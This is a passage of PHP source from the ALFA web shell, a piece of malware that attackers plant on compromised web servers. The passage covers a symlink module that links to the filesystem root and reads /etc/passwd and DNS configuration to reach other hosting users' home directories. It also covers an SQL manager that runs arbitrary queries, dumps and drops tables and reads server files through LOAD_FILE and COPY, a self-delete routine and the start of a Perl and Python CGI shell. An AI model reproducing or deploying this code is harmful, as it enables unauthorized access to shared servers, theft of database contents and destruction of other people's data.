  4673. if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
  4674. @mkdir('alfasymlink',0777);
  4675. alfacgihtaccess('sym','alfasymlink/');
  4676. _alfa_symlink('/','alfasymlink/root');
  4677. $table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
  4678. if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
  4679. echo "<center>";
  4680. $lines = array();
  4681. $anony_domains = array();
  4682. $anonymous_users = array();
  4683. $f_black = array();
  4684. $error = false;
  4685. $anonymous = false;
  4686. $makepwd = "/home/{user}/public_html/";
  4687. $domains = alfaGetDomains();
  4688. $lines = $domains["lines"];
  4689. $state = $domains["state"];
  4690. $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
  4691. $can_runcmd = _alfa_can_runCommand(false,false);
  4692. if(!$is_posix && !$can_runcmd){
  4693. $anonymous = true;
  4694. $anony_domains = $domains["lines"];
  4695. $lines = _alfa_file('/etc/passwd');
  4696. }
  4697. echo $table_header;
  4698. $count=1;
  4699. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  4700. foreach($lines as $line){
  4701. $domain = "";
  4702. $owner = "";
  4703. if($anonymous){
  4704. $explode = explode(":", $line);
  4705. $owner = $explode[0];
  4706. $owner_len = strlen($owner) - 1;
  4707. $userid = $explode[2];
  4708. if((int)$userid < 500)continue;
  4709. $domain = "[?????]";
  4710. $temp_black = array();
  4711. $finded = false;
  4712. foreach($anony_domains as $anony){
  4713. if($state == "named.conf"){
  4714. if(@strstr($anony, 'zone')){
  4715. preg_match_all('#zone "(.*)"#',$anony, $data);
  4716. $domain = $data[1][0];
  4717. }else{
  4718. continue;
  4719. }
  4720. }elseif($state == "named" || $state == "valiases"){
  4721. if($anony == "." || $anony == "..")continue;
  4722. if($state == "named")$anony = rtrim($anony, ".db");
  4723. $domain = $anony;
  4724. }
  4725. $sub_domain = str_replace(array("-","."), "", $domain);
  4726. if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
  4727. if(in_array($owner.$domain, $temp_black))continue;
  4728. $sympath = str_replace("{user}", $owner, $makepwd);
  4729. $http = "http://".$domain;
  4730. echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
  4731. $count++;
  4732. $temp_black[] = $owner.$domain;
  4733. $finded = true;
  4734. }
  4735. }
  4736. if(!$finded){
  4737. $anonymous_users[] = $owner;
  4738. }
  4739. }else{
  4740. if($state == "named.conf"){
  4741. if(@strstr($line, 'zone')){
  4742. preg_match_all('#zone "(.*)"#',$line, $data);
  4743. $domain = $data[1][0];
  4744. }else{
  4745. continue;
  4746. }
  4747. }elseif($state == "named" || $state == "valiases"){
  4748. if($line == "." || $line == "..")continue;
  4749. if($state == "named")$line = rtrim($line, ".db");
  4750. $domain = $line;
  4751. }
  4752. if(strlen(trim($domain)) > 2 && $state != "passwd"){
  4753. if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
  4754. if($is_posix){
  4755. $user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
  4756. $owner = $user["name"];
  4757. }elseif($can_runcmd){
  4758. $owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
  4759. }
  4760. }
  4761. }
  4762. if(!$anonymous){
  4763. if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
  4764. $sympath = str_replace("{user}", $owner, $makepwd);
  4765. $http = "http://".$domain;
  4766. if($state == "passwd"){
  4767. $http = "javascript:alert('we cant find domain...')";
  4768. }
  4769. echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
  4770. $count++;
  4771. $f_black[] = $owner.$domain;
  4772. }
  4773. }
  4774. if($anonymous){
  4775. foreach($anonymous_users as $owner){
  4776. $sympath = str_replace("{user}", $owner, $makepwd);
  4777. $http = "javascript:alert('we cant find domain...')";
  4778. echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
  4779. $count++;
  4780. }
  4781. }
  4782. $cant_symlink = false;
  4783. }else{
  4784. $is_direct = false;
  4785. $makepwd = alfaMakePwd();
  4786. if(_alfa_file_exists("/etc/virtual/domainowners")){
  4787. $makepwd = "/home/{user}/public_html";
  4788. $is_direct = true;
  4789. }
  4790. $sole = _alfa_file("/etc/virtual/domainowners");
  4791. $count=1;
  4792. echo $table_header;
  4793. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  4794. if($sole){
  4795. foreach($sole as $visible){
  4796. if(@strstr($visible,":")){
  4797. $solevisible = explode(':', $visible);
  4798. $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
  4799. echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
  4800. }
  4801. }
  4802. }else{
  4803. $passwd = _alfa_file("/etc/passwd");
  4804. if($passwd){
  4805. $html = "";
  4806. $is_named = false;
  4807. $users = array();
  4808. $domains = array();
  4809. $uknowns = array();
  4810. foreach($passwd as $user){
  4811. $user = trim($user);
  4812. $expl = explode(":", $user);
  4813. if((int)$expl[2] < 500)continue;
  4814. $users[$expl[0]] = $expl[5];
  4815. }
  4816. $site_domains = @scandir("/etc/virtual/");
  4817. if(!$site_domains){
  4818. $site_domains = alfaEx("ls /etc/virtual/");
  4819. $site_domains = explode("\n", $site_domains);
  4820. if(!$site_domains){
  4821. $site_domains = _alfa_file("/etc/named.conf");
  4822. if($site_domains){$is_named = true;}
  4823. }
  4824. }
  4825. foreach($site_domains as $line){
  4826. if($is_named){
  4827. if(@strstr($line, 'zone')){
  4828. preg_match_all('#zone "(.*)"#',$line, $data);
  4829. $domain = $data[1][0];
  4830. if(strlen($domain > 2) && !empty($domain)){
  4831. $domains[] = $domain;
  4832. }
  4833. }
  4834. }else{
  4835. $domains[] = $line;
  4836. }
  4837. }
  4838. $x = 1;
  4839. foreach($users as $user => $home){
  4840. foreach($domains as $domain){
  4841. $user_len = strlen($user) - 1;
  4842. $sub_domain = str_replace(array("-","."), "", $domain);
  4843. $five_user = substr($user, 0,$user_len);
  4844. $five_domain = substr($sub_domain, 0,$user_len);
  4845. if($five_user == $five_domain){
  4846. if($is_direct){
  4847. $cwd = str_replace("{user}", $user, $makepwd);
  4848. }else{
  4849. $expl = explode("}/", $makepwd);
  4850. $cwd = $home."/".$expl[1];
  4851. }
  4852. $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
  4853. }else{
  4854. $uknowns[$user] = $home;
  4855. }
  4856. }
  4857. }
  4858. $uknowns = array_unique($uknowns);
  4859. foreach($uknowns as $user => $home){
  4860. if($is_direct){
  4861. $cwd = str_replace("{user}", $user, $makepwd);
  4862. }else{
  4863. $expl = explode("}/", $makepwd);
  4864. $cwd = $home."/".$expl[1];
  4865. }
  4866. $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
  4867. }
  4868. echo($html);
  4869. }
  4870. }
  4871. echo "</table>";
  4872. $cant_symlink = false;
  4873. }
  4874. }else{
  4875. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
  4876. $cant_symlink = false;
  4877. }
  4878. if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
  4879. echo "</center></table>";
  4880. }
  4881. echo "</div>";
  4882. alfafooter();
  4883. }
  4884. function alfasql(){
  4885. if(!isset($_POST['sql_host'])){
  4886. $_POST['sql_host'] = $_SESSION["sql_host"];
  4887. $_POST['sql_login'] = $_SESSION["sql_login"];
  4888. $_POST['sql_pass'] = $_SESSION["sql_pass"];
  4889. $_POST['sql_base'] = $_SESSION["sql_base"];
  4890. }
  4891. class DbClass{
  4892. public $type;
  4893. public $link;
  4894. public $res;
  4895. function __construct($type){
  4896. $this->type = $type;
  4897. }
  4898. function connect($host, $user, $pass, $dbname){
  4899. switch($this->type){
  4900. case 'mysql':
  4901. if($this->link = @mysqli_connect($host,$user,$pass,$dbname)) return true;
  4902. break;
  4903. case 'pgsql':
  4904. $host = explode(':', $host);
  4905. if(!$host[1]) $host[1]=5432;
  4906. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  4907. break;
  4908. }
  4909. return false;
  4910. }
  4911. function selectdb($db){
  4912. switch($this->type){
  4913. case 'mysql':
  4914. if(@mysqli_select_db($db))return true;
  4915. break;
  4916. }
  4917. return false;
  4918. }
  4919. function query($str){
  4920. switch($this->type){
  4921. case 'mysql':
  4922. return $this->res = @mysqli_query($this->link,$str);
  4923. break;
  4924. case 'pgsql':
  4925. return $this->res = @pg_query($this->link,$str);
  4926. break;
  4927. }
  4928. return false;
  4929. }
  4930. function fetch(){
  4931. $res = func_num_args()?func_get_arg(0):$this->res;
  4932. switch($this->type){
  4933. case 'mysql':
  4934. return @mysqli_fetch_assoc($res);
  4935. break;
  4936. case 'pgsql':
  4937. return @pg_fetch_assoc($res);
  4938. break;
  4939. }
  4940. return false;
  4941. }
  4942. function listDbs(){
  4943. switch($this->type){
  4944. case 'mysql':
  4945. return $this->query("SHOW databases");
  4946. break;
  4947. case 'pgsql':
  4948. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  4949. break;
  4950. }
  4951. return false;
  4952. }
  4953. function listTables(){
  4954. switch($this->type){
  4955. case 'mysql':
  4956. return $this->res = $this->query('SHOW TABLES');
  4957. break;
  4958. case 'pgsql':
  4959. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  4960. break;
  4961. }
  4962. return false;
  4963. }
  4964. function error(){
  4965. switch($this->type){
  4966. case 'mysql':
  4967. return @mysqli_error($this->link);
  4968. break;
  4969. case 'pgsql':
  4970. return @pg_last_error();
  4971. break;
  4972. }
  4973. return false;
  4974. }
  4975. function setCharset($str){
  4976. switch($this->type){
  4977. case 'mysql':
  4978. if(function_exists('mysql_set_charset'))
  4979. return @mysqli_set_charset($this->link,$str);
  4980. else
  4981. $this->query('SET CHARSET '.$str);
  4982. break;
  4983. case 'pgsql':
  4984. return @pg_set_client_encoding($this->link, $str);
  4985. break;
  4986. }
  4987. return false;
  4988. }
  4989. function loadFile($str){
  4990. switch($this->type){
  4991. case 'mysql':
  4992. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  4993. break;
  4994. case 'pgsql':
  4995. $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
  4996. $r=array();
  4997. while($i=$this->fetch())
  4998. $r[] = $i['file'];
  4999. $this->query('droptable solevisible');return array('file'=>implode("\n",$r));
  5000. break;}
  5001. return false;
  5002. }
  5003. function dump($table, $fp = false){
  5004. switch($this->type){
  5005. case 'mysql':
  5006. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  5007. $create = mysqli_fetch_array($res);
  5008. $sql = $create[1].";\n";
  5009. if($fp) fwrite($fp, $sql); else echo($sql);
  5010. $this->query('SELECT * FROM `'.$table.'`');
  5011. $head = true;
  5012. while($item = $this->fetch()){
  5013. $columns = array();
  5014. foreach($item as $k=>$v) {
  5015. if($v == null)
  5016. $item[$k] = "''";
  5017. elseif(is_numeric($v))
  5018. $item[$k] = $v;
  5019. else
  5020. $item[$k] = "'".@mysqli_real_escape_string($this->link, $v)."'";
  5021. $columns[] = "`".$k."`";
  5022. }
  5023. if($head) {
  5024. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  5025. $head = false;
  5026. } else
  5027. $sql = "\n\t,(".implode(", ", $item).')';
  5028. if($fp) fwrite($fp, $sql); else echo($sql);
  5029. }
  5030. if(!$head)
  5031. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  5032. break;
  5033. case 'pgsql':
  5034. $this->query('SELECT * FROM '.$table);
  5035. while($item = $this->fetch()) {
  5036. $columns = array();
  5037. foreach($item as $k=>$v) {
  5038. $item[$k] = "'".addslashes($v)."'";
  5039. $columns[] = $k;
  5040. }
  5041. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  5042. if($fp) fwrite($fp, $sql); else echo($sql);
  5043. }
  5044. break;
  5045. }
  5046. return false;
  5047. }
  5048. };
  5049. $db = new DbClass($_POST['type']);
  5050. if(@$_POST['alfa1']=='dumpfile'||@$_POST['alfa1']=='droptbl'){
  5051. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  5052. $db->selectdb($_POST['sql_base']);
  5053. switch($_POST['charset']){
  5054. case "Windows-1251": $db->setCharset('calfa1251'); break;
  5055. case "UTF-8": $db->setCharset('utf8'); break;
  5056. case "KOI8-R": $db->setCharset('koi8r'); break;
  5057. case "KOI8-U": $db->setCharset('koi8u'); break;
  5058. case "calfa866": $db->setCharset('calfa866'); break;
  5059. }
  5060. $json = json_decode($_POST['alfa2'],true);
  5061. if(count($json['tbl'])>0){
  5062. if($_POST['alfa1']=='dumpfile'){
  5063. if($fp = @fopen($json['file'],'w')){
  5064. foreach($json['tbl'] as $v)$db->dump($v, $fp);
  5065. fclose($fp);
  5066. $dumpStatus = true;
  5067. }}else{
  5068. foreach($json['tbl'] as $v)$db->query('DROP TABLE '.$v);
  5069. }
  5070. }
  5071. unset($_POST['alfa2']);
  5072. }
  5073. alfahead();
  5074. echo "
  5075. <div class=header><center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center>
  5076. <form name='sf' method='post' onsubmit='fs(this);return false;'><table cellpadding='2' cellspacing='0'><tr>
  5077. <td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
  5078. <input type='hidden' name='a' value=Sql><input type='hidden' name='alfa1' value='query'><input type='hidden' name='alfa2' value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'UTF-8') ."'>
  5079. <td><select name='type'><option value='mysql' ";
  5080. if(@$_POST['type']=='mysql')echo 'selected';
  5081. echo ">MySql</option><option value='pgsql' ";
  5082. if(@$_POST['type']=='pgsql')echo 'selected';
  5083. echo ">PostgreSql</option></select></td>
  5084. <td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  5085. <td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
  5086. <td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  5087. $tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
  5088. if(isset($_POST['sql_host'])){
  5089. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  5090. $_SESSION["sql_host"] = $_POST['sql_host'];
  5091. $_SESSION["sql_login"] = $_POST['sql_login'];
  5092. $_SESSION["sql_pass"] = $_POST['sql_pass'];
  5093. $_SESSION["sql_base"] = $_POST['sql_base'];
  5094. switch($_POST['charset']){
  5095. case "Windows-1251": $db->setCharset('calfa1251'); break;
  5096. case "UTF-8": $db->setCharset('utf8'); break;
  5097. case "KOI8-R": $db->setCharset('koi8r'); break;
  5098. case "KOI8-U": $db->setCharset('koi8u'); break;
  5099. case "calfa866": $db->setCharset('calfa866'); break;
  5100. }
  5101. $db->setCharset('utf8');
  5102. $db->listDbs();
  5103. echo "<select name=sql_base><option value=''></option>";
  5104. while($item = $db->fetch()) {
  5105. list($key, $value) = each($item);
  5106. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  5107. }
  5108. echo '</select>';
  5109. }
  5110. else echo $tmp;
  5111. }else
  5112. echo $tmp;
  5113. echo "</td>
  5114. <td><input type='submit' value=' '></td>
  5115. <td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
  5116. </tr>
  5117. </table>
  5118. <script>mysql_cache['host']='".addslashes($_POST['sql_host'])."';mysql_cache['user']='".addslashes($_POST['sql_login'])."';mysql_cache['pass']='".addslashes($_POST['sql_pass'])."';mysql_cache['db']='".addslashes($_POST['sql_base'])."';mysql_cache['charset']='".addslashes($_POST['charset'])."';mysql_cache['type']='".addslashes($_POST['type'])."';mysql_cache['count']='".addslashes($_POST['sql_count'])."'</script>
  5119. ";
  5120. if(isset($db) && $db->link){
  5121. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  5122. if(!empty($_POST['sql_base'])){
  5123. $db->selectdb($_POST['sql_base']);
  5124. echo "<tr><td width=1 style='border-top:2px solid #666;'><div class='txtfont'>Tables:</div><br><br>";
  5125. $tbls_res = $db->listTables();
  5126. while($item = $db->fetch($tbls_res)){
  5127. list($key, $value) = each($item);
  5128. if(!empty($_POST['sql_count']))
  5129. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));
  5130. $value = htmlspecialchars($value);
  5131. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href='javascript:void(0);' onclick=\"fs('0','".$value."')\"><span class='mysql_tables' style='font-weight:unset;'>".$value."</span></a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small><span style='font-weight:unset;' class='mysql_table_count'>({$n['n']})</span></small>") . "</nobr><br>";
  5132. }
  5133. echo "<p><input type='checkbox' onclick='is();'> <input type='button' value=' Dump ' onclick=\"fs('4');\" class='button'> <input type='button' value=' Drop ! ' onclick=\"fs('5');\" class='button'></p><div class='txtfont'>File path:</div><input type='text' id='dumpfile' name='file' value='dump.sql'>".($dumpStatus?'<p><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'dump.sql\', \'download\')"><font color="#0F0">~ Download File ~</font></a></p>':'')."</td><td style='border-top:2px solid #666;'>";
  5134. if(@$_POST['alfa1'] == 'select'){
  5135. $_POST['alfa1'] = 'query';
  5136. $_POST['alfa3'] = $_POST['alfa3']?$_POST['alfa3']:1;
  5137. $db->query('SELECT COUNT(*) as n FROM `'.$_POST['alfa2'].'`');
  5138. $num = $db->fetch();
  5139. $pages = ceil($num['n'] / 30);
  5140. echo "<span>".$_POST['alfa2']."</span> ({$num['n']} records) Page # <input type=text name='alfa3' value=" . ((int)$_POST['alfa3']) . ">";
  5141. echo " of $pages";
  5142. if($_POST['alfa3'] > 1)
  5143. echo " <a href='javascript:void(0);' onclick=fs('1','[\"".$_POST['alfa2']."\",\"".($_POST['alfa3']-1)."\"]')>&lt; Prev</a>";
  5144. if($_POST['alfa3'] < $pages)
  5145. echo " <a href='javascript:void(0);' onclick=fs('1','[\"".$_POST['alfa2']."\",\"".($_POST['alfa3']+1)."\"]')>Next &gt;</a>";
  5146. $_POST['alfa3']--;
  5147. $cache_table = $_POST['alfa2'];
  5148. if($_POST['type']=='pgsql')
  5149. $_POST['alfa2'] = 'SELECT * FROM `'.$_POST['alfa2'].'` LIMIT 30 OFFSET '.($_POST['alfa3']*30);
  5150. else
  5151. $_POST['alfa2'] = 'SELECT * FROM `'.$_POST['alfa2'].'` LIMIT '.($_POST['alfa3']*30).',30';
  5152. echo "<br><br>";
  5153. }
  5154. if((@$_POST['alfa1'] == 'query') && !empty($_POST['alfa2'])) {
  5155. $prikey = $db->fetch($db->query("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '".@addslashes($_POST['sql_base'])."' AND TABLE_NAME = '".@addslashes($cache_table)."' AND COLUMN_KEY = 'PRI'"));
  5156. $db->query(@$_POST['alfa2']);
  5157. if($db->res !== false){
  5158. $title = false;
  5159. echo '<table width="100%" cellspacing="1" cellpadding="2" class="main"style="background-color:#292929" border="1">';
  5160. $line = 1;
  5161. while($item = $db->fetch()) {
  5162. if(!$title){
  5163. echo '<tr><th>#</th>';
  5164. foreach($item as $key => $value){
  5165. echo '<th>'.$key.'</th>';
  5166. }
  5167. reset($item);
  5168. $title=true;
  5169. echo '</tr><tr>';
  5170. $line = 2;
  5171. }
  5172. if($cache_table!=''){
  5173. $cacheMsg = '<a href="javascript:void(0);" onclick=fs(\'2\',\'["'.$cache_table.'","'.(!$prikey['COLUMN_NAME']?0:$prikey['COLUMN_NAME']).'","'.__ZW5jb2Rlcg(json_encode((!$prikey['COLUMN_NAME']?$item:$item[$prikey['COLUMN_NAME']]))).'"]\')>Edit</a>';
  5174. }else{
  5175. $cacheMsg ='-';
  5176. }
  5177. echo '<tr class="l'.$line.'"><td>'.$cacheMsg.'</td>';
  5178. $line = $line==1?2:1;
  5179. foreach($item as $key => $value){
  5180. if($value == null)
  5181. echo '<td><i>null</i></td>';
  5182. else
  5183. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  5184. }
  5185. echo '</tr>';
  5186. }
  5187. echo '</table>';
  5188. } else {
  5189. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  5190. }
  5191. }
  5192. echo('</form>');
  5193. if((@$_POST['alfa1'] == 'edit') && !empty($_POST['alfa2'])){
  5194. $data = explode(':',$_POST['alfa3']);
  5195. echo ('<p><div class="txtfont">Table:</div> <font color="#0F0">'.$data[0].'</font></p>');
  5196. echo("<form onsubmit='fsu(this);return false;'><table border='1'>");
  5197. if($data[1] != '0'){
  5198. $data[2] = __ZGVjb2Rlcg($data[2]);
  5199. $data[2] = str_replace('"','',$data[2]);
  5200. $fetch = $db->fetch($db->query("SELECT * FROM `".$data[0]."` WHERE `".$data[1]."` = '".$data[2]."'"));
  5201. $fetch['__ALFAKEY'] = $data[1];
  5202. $fetch['__ALFAKEYVAL'] = $data[2];
  5203. }else{
  5204. $d = __ZGVjb2Rlcg($data[2]);
  5205. $fetch = json_decode($d, true);
  5206. }
  5207. foreach($fetch as $key => $value){
  5208. if($key=='__ALFAKEY'||$key=='__ALFAKEYVAL')continue;
  5209. $value = htmlspecialchars($value);
  5210. echo("<tr><td>$key</td><td><input name='$key' value='$value' /></td></tr>");
  5211. }
  5212. echo("</table><input type='hidden' name='__ALFADATA' value='".__ZW5jb2Rlcg(json_encode(($data[1] != '0'?array('__ALFAKEY'=>$data[1],'__ALFAKEYVAL'=>$data[2]):$fetch)))."'><input type='hidden' name='__ALFATBL' value='{$data[0]}'><input type='submit' value=' '></form>");
  5213. }
  5214. if((@$_POST['alfa1'] == 'update') && !empty($_POST['alfa2'])){
  5215. $data = json_decode($_POST['alfa2'], true);
  5216. $alfadata = $data['__ALFADATA'];
  5217. $data2 = json_decode(__ZGVjb2Rlcg($alfadata), true);
  5218. $keyval = array();
  5219. echo ('<p><div class="txtfont">Table:</div> <font color="#0F0">'.$data['__ALFATBL'].'</font></p>');
  5220. echo("<form onsubmit='fsu(this);return false;'><table border='1'>");
  5221. $set = '';
  5222. foreach($data as $key => $value){
  5223. if($key=='__ALFATBL'||$key=='__ALFADATA')continue;
  5224. if($data2['__ALFAKEY']==$key){
  5225. $keyval['__ALFAKEY'] = $key;
  5226. $keyval['__ALFAKEYVAL'] = $value;
  5227. }
  5228. $set .= "`$key` = '".addslashes($value)."',";
  5229. $value = htmlspecialchars($value);
  5230. echo("<tr><td>$key</td><td><input name='$key' value='$value' /></td></tr>");
  5231. }
  5232. unset($data['__ALFADATA']);
  5234. echo("</table><input type='hidden' name='__ALFADATA' value='".__ZW5jb2Rlcg(json_encode((isset($data2['__ALFAKEY'])?array('__ALFAKEY'=>$keyval['__ALFAKEY'],'__ALFAKEYVAL'=>$keyval['__ALFAKEYVAL']):$data)))."'><input type='hidden' name='__ALFATBL' value='{$data['__ALFATBL']}'><input type='submit' value=' '></form>");
  5236. if(!isset($data2['__ALFAKEY'])){
  5237. $where = '';
  5238. foreach($data2 as $key => $value){
  5239. if($key=='__ALFATBL'||$key=='__ALFADATA')continue;
  5240. $value = addslashes($value);
  5241. $where .= "`$key` = '$value' AND ";
  5242. }
  5243. $where = substr($where, 0, -4);
  5244. }else{
  5245. $where = "`{$data2['__ALFAKEY']}` = '".addslashes($data2['__ALFAKEYVAL'])."'";
  5246. }
  5247. $set = substr($set, 0, -1);
  5248. $db->fetch($db->query("UPDATE `{$data['__ALFATBL']}` SET $set WHERE $where"));
  5249. if($db->error())
  5250. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  5251. else echo("Success...!");
  5252. }
  5253. if($_POST['alfa1']!='edit'&&$_POST['alfa1']!='update'){
  5254. echo "<p>Query:</p><form onsubmit='fs(this);return false;'>
  5255. <input type='hidden' name='alfa1' value='query'/>
  5256. <textarea name='query' style='width:100%;height:100px'>";
  5257. echo $_POST['alfa1']!='loadfile'?htmlspecialchars($_POST['alfa2']):'';
  5258. echo "</textarea><p><center><input type=submit value=' '></center></p></form>";
  5259. }
  5260. echo "</td></tr>";
  5261. }
  5262. echo "</table></form><br/>";
  5263. if($_POST['type']=='mysql') {
  5264. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  5265. if($db->fetch())
  5266. echo "<form onsubmit=\"fs('3',this.f.value);return false;\"><div class='txtfont'>Load file:</div> <input class='toolsInp' type='text' name='f'> <input type='submit' value=' '></form>";
  5267. }
  5268. if(@$_POST['alfa1'] == 'loadfile'){
  5269. $file = $db->loadFile($_POST['alfa2']);
  5270. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  5271. }
  5272. }else{
  5273. echo htmlspecialchars($db->error());
  5274. }
  5275. echo '</div>';
  5276. alfafooter();
  5277. }
  5278. function alfaselfrm(){
  5279. if(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){
  5280. echo(__pre().'<center>');
  5281. if(@unlink($GLOBALS['__file_path'])){
  5282. echo('<b>Shell has been removed</i> :)</b>');
  5283. }else{
  5284. echo 'unlink error!';
  5285. }
  5286. echo('</center>');
  5287. }
  5288. if(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){
  5289. echo "<div class=header>";
  5290. echo "
  5291. <center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
  5292. echo '<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\'selfrm\',null,\'yes\');"> Yes</a>';
  5293. echo '</p></center></div>';
  5294. }
  5295. }
  5296. function alfacgishell(){
  5297. alfahead();
  5298. $div = "";
  5299. if(!in_array($_POST['alfa1'],array('perl','py'))){
  5300. $div = "</div>";
  5301. echo '<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a href=javascript:void(0) onclick="runcgi(\'perl\')">| Perl | </a><a href=javascript:void(0) onclick="runcgi(\'py\');">| Python | </a>';
  5302. }
  5303. if(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){
  5304. @mkdir('cgialfa',0755);
  5305. @chdir('cgialfa');
  5306. alfacgihtaccess('cgi');
  5307. $name = $_POST['alfa1'].'.alfa';
